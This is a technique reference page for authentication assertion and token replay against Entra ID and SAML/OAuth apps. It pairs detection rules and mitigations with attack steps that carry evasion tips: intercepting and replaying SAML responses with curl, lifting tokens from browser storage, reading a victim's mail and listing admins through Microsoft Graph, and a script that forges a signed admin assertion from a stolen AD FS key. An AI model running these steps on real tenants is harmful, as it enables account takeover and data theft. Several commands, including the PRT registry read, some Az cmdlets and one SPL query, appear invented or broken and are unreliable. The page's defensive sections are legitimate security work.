| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-026 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, OAuth 2.0/OIDC Applications |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions, OAuth 2.0 implementations without replay protection |
| Patched In | Mitigations via Token Protection (Conditional Access P1+), PKCE, short-lived tokens |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Authentication assertion replay is an attack where an attacker intercepts and reuses a valid authentication token, SAML assertion, or OAuth/OIDC ID token to gain unauthorized access to a protected application or resource without the original user’s participation. The attacker captures the assertion during its lifecycle and replays it before the assertion expires, allowing the attacker to impersonate the legitimate user. This bypass does not require credential theft or MFA circumvention if the assertion is used within its validity window.
Attack Surface: OAuth 2.0/OIDC authorization endpoints, SAML assertion consumer services (ACS), cloud identity tokens (PRT, access tokens), session cookies, and authentication proxies.
Business Impact: Complete account takeover of any user whose token is captured. An attacker can access all resources the legitimate user can access—cloud applications, M365 services, Azure subscriptions, and any integrated SaaS platform—without triggering MFA challenges. In high-value scenarios (admin tokens), this leads to tenant-wide compromise.
Technical Context: The attack succeeds because authentication protocols traditionally validate token syntax, expiration, and signature, but do not automatically prevent token reuse by unauthorized parties. Modern mitigations (Token Protection, PKCE, nonce validation) require explicit implementation. Most organizations with weak token lifecycle management remain vulnerable.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.2.1 | Ensure that Multi-factor Authentication is enabled for all non-service accounts |
| DISA STIG | SI-2 | Information System Monitoring |
| CISA SCuBA | Entra.1 | Enforce MFA |
| NIST 800-53 | IA-2(1) | Multi-Factor Authentication |
| GDPR | Art. 32 | Security of Processing – implement appropriate encryption |
| DORA | Art. 9 | Protection and Prevention – cryptographic controls |
| NIS2 | Art. 21 | Cyber Risk Management – incident detection capabilities |
| ISO 27001 | A.9.2.1 | User Registration and De-registration |
| ISO 27005 | 7.4.2 | Risk Treatment – implement token binding controls |
Supported Platforms:
Tools & Dependencies:
PowerShell – Check Token Caching
# List cached OAuth tokens on Windows endpoint
$tokenPath = "$env:USERPROFILE\.Azure\accessTokens.json"
if (Test-Path $tokenPath) {
Get-Content $tokenPath | ConvertFrom-Json | Select-Object -Property * | Format-List
}
# Alternative: Extract from TokenBroker (WinRT)
Get-ItemProperty -Path "HKCU:\Software\Microsoft\AuthenticationManager\" -ErrorAction SilentlyContinue
What to Look For:
# Test SAML assertion expiration window
$samlAssertion = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64SamlResponse))
$xml = [xml]$samlAssertion
$notOnOrAfter = $xml.Response.Assertion.Conditions.NotOnOrAfter
Write-Output "Token expires at: $notOnOrAfter"
# Calculate remaining validity
$expiryTime = [DateTime]::Parse($notOnOrAfter)
$timeRemaining = $expiryTime - (Get-Date).ToUniversalTime()
Write-Output "Time remaining: $($timeRemaining.TotalSeconds) seconds"
What to Look For:
NotBefore or NotOnOrAfter attributesSupported Versions: All SAML 2.0 implementations with Entra ID or AD FS
Objective: Capture a valid SAML response before it reaches the Service Provider (SP).
Command (via Burp Suite or Proxy):
1. Enable proxy (Burp, Fiddler, or mitmproxy)
2. Configure browser to route through proxy
3. Initiate SAML login flow (navigate to SP)
4. Redirect to IdP (Entra ID or AD FS)
5. Complete MFA and authentication
6. Intercept the POST response to SP containing SAMLResponse parameter
7. Right-click → Save/Copy the full SAML assertion (XML)
Expected Output:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
ID="_8e8dc5f69a98cc4c1ff3427e5ce34606fd672f91e6"
Version="2.0"
IssueInstant="2026-01-10T12:00:00Z"
Destination="https://app.contoso.com/saml/acs">
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_bec424fa5103428909a30ff1e31168327f79474984"
Version="2.0"
IssueInstant="2026-01-10T12:00:00Z">
<saml:Conditions NotBefore="2026-01-10T11:55:00Z" NotOnOrAfter="2026-01-10T12:05:00Z">
<saml:AudienceRestriction>
<saml:Audience>https://app.contoso.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:Subject>
<saml:NameID>user@contoso.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
What This Means:
NotOnOrAfter="2026-01-10T12:05:00Z" indicates the assertion is valid for 10 minutesOpSec & Evasion:
Troubleshooting:
Objective: Prepare the intercepted SAML assertion for replay to the SP’s ACS endpoint.
Command (via cURL):
# Base64 encode the SAML response (if needed)
SAML_RESPONSE=$(cat saml_response.xml | base64 | tr -d '\n')
# URL encode the Base64 response
ENCODED_SAML=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$SAML_RESPONSE'))")
# Craft POST request to ACS
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "SAMLResponse=${ENCODED_SAML}&RelayState=/" \
https://app.contoso.com/saml/acs \
-b "cookies.txt" \
-c "cookies.txt" \
-v
Expected Output:
< HTTP/1.1 302 Found
< Location: https://app.contoso.com/dashboard
< Set-Cookie: session=abc123...; Path=/; Secure; HttpOnly
What This Means:
OpSec & Evasion:
Objective: Confirm authenticated session and access to protected resources.
Command:
curl -H "Cookie: session=abc123..." https://app.contoso.com/api/user/profile -v
Expected Output:
{
"user_id": "12345",
"email": "user@contoso.com",
"name": "John Doe",
"roles": ["user"]
}
What This Means:
Supported Versions: All OAuth 2.0 and OpenID Connect implementations (RFC 6749, OpenID Connect Core 1.0+)
Objective: Obtain a valid OAuth access token or OIDC ID token from a legitimate user session.
Command (via Browser DevTools or Burp):
// Extract token from browser localStorage or sessionStorage
const accessToken = localStorage.getItem('access_token');
const idToken = localStorage.getItem('id_token');
console.log('Access Token:', accessToken);
console.log('ID Token:', idToken);
// Decode JWT to inspect claims (use jwt.io or script below)
const parts = accessToken.split('.');
const header = JSON.parse(atob(parts[0]));
const payload = JSON.parse(atob(parts[1]));
console.log('Token Claims:', payload);
console.log('Expires At:', new Date(payload.exp * 1000));
Expected Output:
{
"aud": "https://graph.microsoft.com",
"iss": "https://login.microsoftonline.com/12345-tenant-id/v2.0",
"iat": 1704873600,
"exp": 1704877200,
"email": "user@contoso.com",
"scp": "Mail.Read Mail.ReadWrite User.Read"
}
What This Means:
scp) indicate the token can read and write mail and read user profileVariant (Entra ID Primary Refresh Token - PRT):
# Extract PRT from Entra joined machine
$regPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
$prtValue = Get-ItemProperty -Path $regPath -Name "PRT"
# Or via cmdlet (requires admin)
dsregcmd /status | findstr /i "prt"
What This Means:
OpSec & Evasion:
Objective: Use the intercepted token to authenticate API requests without the user’s knowledge.
Command (via cURL or PowerShell):
# Microsoft Graph API call using stolen access token
curl -X GET \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
-H "Content-Type: application/json" \
https://graph.microsoft.com/v1.0/me/messages \
-v
Expected Output:
{
"value": [
{
"id": "AAMkADA0M2Y0ZmU2LTY2N2Y...",
"subject": "Confidential Project",
"from": {"emailAddress": {"address": "boss@contoso.com"}},
"bodyPreview": "Here are the financial projections..."
}
]
}
What This Means:
Alternative – Teams/SharePoint:
# Access Teams messages
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/messages?`$filter=from/emailAddress/address eq 'team-chat@contoso.onmicrosoft.com'" `
-Headers $headers `
-Method Get
OpSec & Evasion:
Objective: Leverage stolen token to pivot to Global Administrator or other high-privilege roles.
Command:
# Enumerate current app permissions
curl -X GET \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants \
-v
# If token has Directory.Read.All or Directory.ReadWrite.All:
# Enumerate admins
curl -X GET \
-H "Authorization: Bearer ${ACCESS_TOKEN}" \
https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members \
-v
Expected Output:
{
"value": [
{
"id": "user-id-123",
"userPrincipalName": "admin@contoso.com",
"displayName": "Global Admin"
}
]
}
What This Means:
OpSec & Evasion:
Supported Versions: AD FS and hybrid Entra ID + AD FS environments
Note: This requires compromised IdP signing key (see CA-FORGE-001_Golden_SAML.md for full technique). This section covers assertion replay variant when the original assertion is still valid.
Objective: Create a SAML assertion that claims administrative privileges.
Command (via SAML toolkit if key is compromised):
from signxml import XMLSigner
from lxml import etree
import base64
from datetime import datetime, timedelta
# Load compromised IdP signing key
with open("adfs_signing_key.pem", "r") as f:
private_key = f.read()
# Craft SAML assertion with Global Admin claim
saml_template = f"""<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_unique-id-{datetime.now().timestamp()}"
Version="2.0"
IssueInstant="{datetime.utcnow().isoformat()}Z">
<saml:Conditions NotBefore="{datetime.utcnow().isoformat()}Z"
NotOnOrAfter="{(datetime.utcnow() + timedelta(minutes=5)).isoformat()}Z">
<saml:AudienceRestriction>
<saml:Audience>urn:federation:MicrosoftOnline</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:Subject>
<saml:NameID>admin@contoso.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="{(datetime.utcnow() + timedelta(minutes=5)).isoformat()}Z" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:AuthnStatement AuthnInstant="{datetime.utcnow().isoformat()}Z">
<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="http://schemas.microsoft.com/identity/claims/objectidentifier" NameFormat="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
<saml:AttributeValue>admin-oid-12345</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="http://schemas.microsoft.com/identity/claims/tenantid" NameFormat="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
<saml:AttributeValue>tenant-id-12345</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>"""
# Sign the assertion
signer = XMLSigner(signature_algorithm="rsa-sha256", digest_algorithm="sha256")
signed = signer.sign(etree.fromstring(saml_template.encode()), key=private_key)
signed_assertion = etree.tostring(signed, encoding='unicode')
# Encode for transmission
encoded = base64.b64encode(signed_assertion.encode()).decode()
print(f"SAMLResponse={encoded}")
Expected Output:
A Base64-encoded, digitally signed SAML assertion that claims to be from the IdP with admin attributes.
What This Means:
OpSec & Evasion:
IssueInstant timestamp to avoid exact-match deduplicationURL: https://www.samltool.com/
Version: Online tool (version-agnostic)
Usage: Decode, validate, and forge SAML assertions in a GUI environment.
1. Visit https://www.samltool.com/
2. Paste intercepted SAMLResponse in "SAML Response" field
3. Click "Decode SAML Response"
4. Analyze NotBefore, NotOnOrAfter, assertion ID, etc.
5. For forging: Use "Create SAML Response" tab (requires private key)
URL: https://jwt.io/
Version: Online decoder
Usage: Decode and inspect JWT claims (OIDC ID tokens, OAuth access tokens).
# Copy access token from browser console or interceptor
# Paste at jwt.io
# Inspect: exp (expiration), aud (audience), scp (scopes), upn (user principal name)
URL: https://portswigger.net/burp
Version: 2023.x+
Usage: Intercept SAML/OAuth flows, modify assertions, replay requests.
1. Proxy → Intercept → Enable intercept
2. Initiate login flow through Burp
3. Burp captures SAML POST or OAuth redirect
4. Right-click → "Send to Repeater"
5. Modify parameters, resend
6. Analyze response
URL: https://www.telerik.com/fiddler
Version: 5.0+
Usage: Intercept HTTPS traffic, inspect token exchanges.
Windows + R → fiddler.exe
Tools → Options → HTTPS → Decrypt HTTPS traffic
Repeat OAuth login; inspect captured requests/responses
Rule Configuration:
o365:audit, splunk_ecosystem:azure:auditazure:aad:signin, msexchange:auditAssertionID, timestamp, userSPL Query:
index=o365:audit OR index=splunk_ecosystem:azure:audit
(eventType=SignInLogs OR Operation=UserLoggedIn)
| rex field=raw_data "AssertionID=(?P<assertion_id>[^&]+)"
| stats count, latest(timestamp) as last_time by assertion_id, user
| where count > 1
| eval time_diff=round((last_time - earliest_time) / 60, 2)
| where time_diff <= 10
| table assertion_id, user, count, time_diff, last_time
What This Detects:
Manual Configuration Steps:
count > 0False Positive Analysis:
| where NOT(src_ip IN ("10.0.1.10", "10.0.1.11"))Rule Configuration:
azure:signin:logsUserPrincipalName, IPAddress, Location, timestamp, RefreshTokenUsedSPL Query:
index=azure:signin:logs RefreshTokenUsed=true
| stats earliest(timestamp) as first_signin, latest(timestamp) as last_signin,
values(Location) as locations, values(IPAddress) as ips by UserPrincipalName
| eval time_diff_minutes = round((last_signin - first_signin) / 60, 2)
| where time_diff_minutes <= 5 AND mvcount(locations) > 1
| eval geographical_distance = "requires_manual_calculation"
| where time_diff_minutes < 15 AND locations != ""
| table UserPrincipalName, first_signin, last_signin, locations, ips, time_diff_minutes
What This Detects:
Manual Configuration Steps:
count > 0False Positive Analysis:
| where NOT(User_Agent LIKE "%mobile%")Rule Configuration:
SigninLogs, AuditLogsSAML AssertionID, UserPrincipalName, TimeGenerated, IPAddressKQL Query:
SigninLogs
| where isnotempty(AssertionID)
| summarize AssertionCount = count(),
UniqueUsers = dcount(UserPrincipalName),
UniqueIPs = dcount(IPAddress),
TimeWindow = arg_max(TimeGenerated, TimeGenerated) by AssertionID
| where AssertionCount > 1 and TimeWindow > ago(10m)
| extend IsReplayAttack = iff(UniqueIPs > 1, true, false)
| where IsReplayAttack == true
What This Detects:
Manual Configuration Steps (Azure Portal):
SAML Assertion Replay DetectionCritical5 minutes2 hoursUserPrincipalName, IP → IPAddressRule Configuration:
SigninLogs, CloudAppEventsUserPrincipalName, IPAddress, Location, TimeGenerated, TokenAgeKQL Query:
let TimeWindow = 10m;
let MinTravelSpeed = 900; // km/h (speed of commercial flight)
SigninLogs
| where TimeGenerated > ago(1d)
| sort by UserPrincipalName, TimeGenerated
| extend PreviousLogin = prev(TimeGenerated),
PreviousIP = prev(IPAddress),
PreviousLocation = prev(Location)
| where UserPrincipalName == prev(UserPrincipalName)
and not(isempty(PreviousLocation))
and PreviousLogin > ago(TimeWindow)
| extend TimeDiff_Minutes = (TimeGenerated - PreviousLogin) / 1m,
DistanceKm = iff(Location != PreviousLocation, 1000, 0) // Placeholder; use GeoIP in production
| where TimeDiff_Minutes < 30 and DistanceKm > (MinTravelSpeed * (TimeDiff_Minutes / 60))
| project UserPrincipalName, TimeGenerated, IPAddress, Location,
PreviousLogin, PreviousIP, PreviousLocation, TimeDiff_Minutes
What This Detects:
Manual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
# Create analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "OAuth Token Replay - Impossible Travel" `
-Query @'
let TimeWindow = 10m;
SigninLogs
| where TimeGenerated > ago(1d)
| summarize arg_max(TimeGenerated, *) by UserPrincipalName, IPAddress
'@ `
-Severity "High" `
-Enabled $true
Alert Name: Token Issuer Anomaly (Entra ID Protection)
Manual Configuration Steps (Enable Defender for Identity):
Log Source: Security (Windows Server 2016+)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (PowerShell):
# Enable audit for credential validation
auditpol /set /subcategory:"Credential Validation" /success:enable /failure:enable
# Verify setting
auditpol /get /subcategory:"Credential Validation"
Detection Focus:
KQL Query (Sentinel):
SigninLogs
| where TokenAge > 0 and TokenAge <= 300 // Token is 0-5 minutes old (reused)
| where Status == "0" // Successful login
| summarize Attempts = count() by UserPrincipalName, IPAddress, TimeGenerated
| where Attempts > 3 in 5m // Multiple uses of same token in short window
Implement Token Protection in Conditional Access:
Entra ID Token Protection binds tokens to the device or session, preventing replay of stolen tokens.
Manual Steps (Azure Portal):
Token Protection for High-Risk AppsManual Steps (PowerShell):
# Create Conditional Access policy with Token Protection
$policy = @{
DisplayName = "Token Protection"
State = "enabled"
Conditions = @{
Applications = @{ IncludeApplications = @("00000002-0000-0ff1-ce00-000000000000") } # Exchange
Users = @{ IncludeUsers = @("All") }
}
GrantControls = @{
Operator = "OR"
BuiltInControls = @("require_device_compliance")
CustomAuthenticationFactors = @("token_protection")
}
SessionControls = @{
SignInFrequency = @{
IsEnabled = $true
Value = 1
Type = "hours"
}
}
}
New-AzADMSConditionalAccessPolicy -Policy $policy
Enforce Short Token Lifetimes:
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Set token lifetimes
$tokenLifePolicy = @{
AccessTokenLifetime = "01:00:00" # 1 hour
RefreshTokenLifetime = "7.00:00:00" # 7 days
IsRefreshTokenIssuedOnRefreshTokenRotation = $true
RefreshTokenExpiryTime = "7.00:00:00"
}
New-AzADTokenLifetimePolicy @tokenLifePolicy
Implement Continuous Access Evaluation (CAE):
CAE revokes tokens immediately when risk is detected.
Manual Steps:
Enable CAEValidation Command:
# Verify CAE is enabled
Get-AzADMSConditionalAccessPolicy | Where-Object { $_.SessionControls.ContinuousAccessEvaluation -eq $true }
Implement Strict SAML Assertion Validation:
Manual Steps (For SP Administrators):
Pseudocode:
def validate_saml_assertion(assertion_xml):
# 1. Check signature
if not verify_signature(assertion_xml):
return False, "Invalid signature"
# 2. Check assertion ID uniqueness
assertion_id = extract_assertion_id(assertion_xml)
if assertion_id in processed_assertions:
return False, "Assertion already processed (replay attack)"
# 3. Check timestamps
not_before = extract_not_before(assertion_xml)
not_on_or_after = extract_not_on_or_after(assertion_xml)
now = datetime.utcnow()
if now < not_before:
return False, "Assertion not yet valid"
if now >= not_on_or_after:
return False, "Assertion expired"
# 4. Check validity window (should be short, e.g., 3-5 minutes)
validity_window = (not_on_or_after - not_before).total_seconds()
if validity_window > 300:
return False, "Validity window too large"
# 5. Validate InResponseTo (if present)
in_response_to = extract_in_response_to(assertion_xml)
if not validate_in_response_to(in_response_to):
return False, "InResponseTo validation failed"
# Mark as processed
processed_assertions[assertion_id] = {
'timestamp': now,
'expires_at': not_on_or_after
}
return True, "Assertion valid"
Enforce HTTPS and TLS 1.2+:
Manual Steps (Azure):
Validation Command:
# Verify TLS settings
(Invoke-WebRequest https://your-app.azurewebsites.net -SkipCertificateCheck).Headers['Strict-Transport-Security']
# Should output: max-age=31536000; includeSubDomains
Step 1: Isolate the Compromised Account
Command (Azure Portal):
Command (PowerShell):
# Revoke all refresh tokens for a user
Revoke-AzUserRefreshToken -UserPrincipalName "user@contoso.com"
# Force password reset
$user = Get-AzADUser -UserPrincipalName "user@contoso.com"
Set-AzADUserPassword -ObjectId $user.Id -ChangePasswordAtNextLogin $true
Step 2: Revoke Compromised Tokens
Command (Entra ID):
# Sign out all active sessions
Get-AzSignInLog -Filter "userPrincipalName eq 'user@contoso.com'" |
ForEach-Object { Revoke-AzSignInSession -SignInId $_.Id }
Step 3: Hunt for Lateral Movement
Sentinel KQL (Hunt for API abuse by stolen token):
CloudAppEvents
| where AccountObjectId == "victim-user-oid"
and TimeGenerated between (now(-2h) .. now())
| summarize APICallCount = count(), UniqueAPIs = dcount(OperationName) by IPAddress
| where APICallCount > 100 or UniqueAPIs > 10
What to Look For:
Step 4: Containment and Eradication
Command (Remove attacker’s persistence):
# Find and remove suspicious app registrations or service principals created during the incident
Get-AzADServicePrincipal -Filter "createdDateTime gt 2026-01-10T10:00:00Z" |
Where-Object { $_.DisplayName -notlike "*Microsoft*" } |
Remove-AzADServicePrincipal -Confirm:$false
# Audit and revoke suspect OAuth grants
Remove-AzADAppPermissionGrant -PrincipalId $appId -ResourceId $resourceId
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-002] Consent Grant OAuth | Attacker tricks user into granting OAuth permissions to malicious app |
| 2 | Credential Access | [CA-TOKEN-004] Graph API Token Theft | Attacker steals or intercepts OAuth access token from user session |
| 3 | Lateral Movement | [LM-AUTH-026] | Attacker replays stolen token to access other services |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Permissions | Attacker uses stolen token to escalate app permissions to Directory.ReadWrite.All |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates rogue admin account or modifies existing Global Admin |
| 6 | Impact | [Collection] Data Exfiltration | Attacker exfiltrates sensitive data from mailbox, Teams, SharePoint |
Authentication Assertion Replay is a high-impact attack that exploits weak token validation in OAuth 2.0, OIDC, and SAML protocols. By intercepting and reusing valid authentication tokens or assertions, attackers can impersonate legitimate users without stealing credentials or bypassing MFA.
Critical Mitigations:
Detection relies on behavioral analytics (geolocation, device state, API patterns) rather than signature-based detection, as replayed tokens are cryptographically valid.